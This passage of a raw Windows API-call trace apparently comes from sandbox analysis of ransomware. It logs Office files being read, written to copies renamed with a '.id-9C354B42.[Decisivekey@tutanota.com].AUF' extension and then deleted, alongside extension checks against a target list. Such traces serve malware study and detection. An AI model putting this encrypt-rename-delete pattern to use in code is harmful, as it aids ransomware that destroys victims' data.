(in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.787] SetEndOfFile (hFile=0x184) returned 1 [0222.787] CloseHandle (hObject=0x184) returned 1 [0222.788] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.788] SetEndOfFile (hFile=0x1f4) returned 1 [0222.788] CloseHandle (hObject=0x1f4) returned 1 [0222.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.788] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 1 [0222.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0222.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0222.789] lstrlenW (lpString=".doc") returned 4 [0222.789] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.789] lstrlenW (lpString=".docx") returned 5 [0222.789] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0222.789] lstrlenW (lpString=".pdf") returned 4 [0222.789] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.789] lstrlenW (lpString=".xls") returned 4 [0222.789] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.789] lstrlenW (lpString=".xlsx") returned 5 [0222.789] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0222.789] lstrlenW (lpString=".ppt") returned 4 [0222.789] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0222.789] lstrlenW (lpString=".zip") returned 4 [0222.789] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.789] lstrlenW (lpString=".rar") returned 4 [0222.789] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.789] lstrlenW (lpString=".bz2") returned 4 [0222.790] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.790] lstrlenW (lpString=".7z") returned 3 [0222.790] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0222.790] lstrlenW (lpString=".dbf") returned 4 [0222.790] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0222.790] lstrlenW (lpString=".1cd") returned 4 [0222.790] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0222.790] lstrlenW (lpString=".jpg") returned 4 [0222.790] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0222.790] lstrlenW (lpString=".doc") returned 4 [0222.790] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.791] lstrlenW (lpString=".docx") returned 5 [0222.791] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0222.791] lstrlenW (lpString=".pdf") returned 4 [0222.791] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.791] lstrlenW (lpString=".xls") returned 4 [0222.791] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.791] lstrlenW (lpString=".xlsx") returned 5 [0222.791] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0222.791] lstrlenW (lpString=".ppt") returned 4 [0222.791] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0222.791] lstrlenW (lpString=".zip") returned 4 [0222.791] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.791] lstrlenW (lpString=".rar") returned 4 [0222.791] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.791] lstrlenW (lpString=".bz2") returned 4 [0222.791] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.791] lstrlenW (lpString=".7z") returned 3 [0222.791] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0222.791] lstrlenW (lpString=".dbf") returned 4 [0222.791] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0222.791] lstrlenW (lpString=".1cd") returned 4 [0222.791] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0222.791] lstrlenW (lpString=".jpg") returned 4 [0222.791] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.791] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0222.791] lstrlenW (lpString="pidgenx.dll") returned 11 [0222.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0222.806] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=1463568) returned 1 [0222.806] CloseHandle (hObject=0x1f4) returned 1 [0222.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 0x20 [0222.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0222.807] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.807] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.807] GetLastError () returned 0x0 [0222.807] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0222.944] WriteFile (in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0222.963] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x65520, lpOverlapped=0x0) returned 1 [0222.978] WriteFile (in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0222.988] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.988] WriteFile (in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.988] SetEndOfFile (hFile=0x184) returned 1 [0222.989] CloseHandle (hObject=0x184) returned 1 [0222.989] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.989] SetEndOfFile (hFile=0x1f4) returned 1 [0222.991] CloseHandle (hObject=0x1f4) returned 1 [0222.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.992] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 1 [0222.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0222.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0222.992] lstrlenW (lpString=".doc") returned 4 [0222.992] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.992] lstrlenW (lpString=".docx") returned 5 [0222.992] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0222.992] lstrlenW (lpString=".pdf") returned 4 [0222.992] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.992] lstrlenW (lpString=".xls") returned 4 [0222.992] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.992] lstrlenW (lpString=".xlsx") returned 5 [0222.992] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0222.992] lstrlenW (lpString=".ppt") returned 4 [0222.992] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0222.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0222.992] lstrlenW (lpString=".zip") returned 4 [0222.992] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0222.992] lstrlenW (lpString=".rar") returned 4 [0222.992] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0222.992] lstrlenW (lpString=".bz2") returned 4 [0222.992] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0222.992] lstrlenW (lpString=".7z") returned 3 [0222.992] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0222.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0222.992] lstrlenW (lpString=".dbf") returned 4 [0222.992] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0222.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0222.992] lstrlenW (lpString=".1cd") returned 4 [0222.992] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0222.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0222.992] lstrlenW (lpString=".jpg") returned 4 [0222.992] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0222.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0222.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0222.993] lstrlenW (lpString=".doc") returned 4 [0222.993] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.993] lstrlenW (lpString=".docx") returned 5 [0222.993] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0222.993] lstrlenW (lpString=".pdf") returned 4 [0222.993] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.993] lstrlenW (lpString=".xls") returned 4 [0222.993] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.993] lstrlenW (lpString=".xlsx") returned 5 [0222.993] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0222.993] lstrlenW (lpString=".ppt") returned 4 [0222.993] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0222.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0222.993] lstrlenW (lpString=".zip") returned 4 [0222.993] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0222.993] lstrlenW (lpString=".rar") returned 4 [0222.993] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0222.993] lstrlenW (lpString=".bz2") returned 4 [0222.993] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0222.993] lstrlenW (lpString=".7z") returned 3 [0222.993] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0222.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0222.993] lstrlenW (lpString=".dbf") returned 4 [0222.993] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0222.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0222.993] lstrlenW (lpString=".1cd") returned 4 [0222.993] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0222.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0222.993] lstrlenW (lpString=".jpg") returned 4 [0222.993] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0222.993] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0222.993] lstrlenW (lpString="Setup.exe") returned 9 [0222.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0222.994] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=1377144) returned 1 [0222.994] CloseHandle (hObject=0x1f4) returned 1 [0222.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe")) returned 0x20 [0222.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0222.994] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.995] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.995] GetLastError () returned 0x0 [0222.995] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0223.218] WriteFile (in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0223.239] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x50388, lpOverlapped=0x0) returned 1 [0223.251] WriteFile (in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x50390, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x50390, lpOverlapped=0x0) returned 1 [0223.258] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0223.258] WriteFile (in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0223.258] SetEndOfFile (hFile=0x184) returned 1 [0223.259] CloseHandle (hObject=0x184) returned 1 [0223.259] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.259] SetEndOfFile (hFile=0x1f4) returned 1 [0223.561] CloseHandle (hObject=0x1f4) returned 1 [0223.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.562] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe")) returned 1 [0223.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0223.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0223.562] lstrlenW (lpString=".doc") returned 4 [0223.562] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0223.562] lstrlenW (lpString=".docx") returned 5 [0223.562] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0223.562] lstrlenW (lpString=".pdf") returned 4 [0223.562] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0223.562] lstrlenW (lpString=".xls") returned 4 [0223.562] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0223.562] lstrlenW (lpString=".xlsx") returned 5 [0223.562] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0223.562] lstrlenW (lpString=".ppt") returned 4 [0223.562] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0223.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0223.562] lstrlenW (lpString=".zip") returned 4 [0223.562] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0223.562] lstrlenW (lpString=".rar") returned 4 [0223.562] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0223.562] lstrlenW (lpString=".bz2") returned 4 [0223.562] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0223.562] lstrlenW (lpString=".7z") returned 3 [0223.562] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0223.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0223.562] lstrlenW (lpString=".dbf") returned 4 [0223.562] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0223.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0223.562] lstrlenW (lpString=".1cd") returned 4 [0223.562] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0223.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0223.562] lstrlenW (lpString=".jpg") returned 4 [0223.562] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0223.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0223.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0223.563] lstrlenW (lpString=".doc") returned 4 [0223.563] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0223.563] lstrlenW (lpString=".docx") returned 5 [0223.563] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0223.563] lstrlenW (lpString=".pdf") returned 4 [0223.563] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0223.563] lstrlenW (lpString=".xls") returned 4 [0223.563] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0223.563] lstrlenW (lpString=".xlsx") returned 5 [0223.563] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0223.563] lstrlenW (lpString=".ppt") returned 4 [0223.563] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0223.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0223.563] lstrlenW (lpString=".zip") returned 4 [0223.563] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0223.563] lstrlenW (lpString=".rar") returned 4 [0223.563] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0223.563] lstrlenW (lpString=".bz2") returned 4 [0223.563] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0223.563] lstrlenW (lpString=".7z") returned 3 [0223.563] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0223.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0223.563] lstrlenW (lpString=".dbf") returned 4 [0223.563] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0223.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0223.563] lstrlenW (lpString=".1cd") returned 4 [0223.563] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0223.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0223.563] lstrlenW (lpString=".jpg") returned 4 [0223.563] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0223.563] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.563] lstrlenW (lpString="OSPPC.DLL") returned 9 [0223.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0223.566] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=148736) returned 1 [0223.566] CloseHandle (hObject=0x1f4) returned 1 [0223.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")) returned 0x20 [0223.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0223.566] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.566] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: 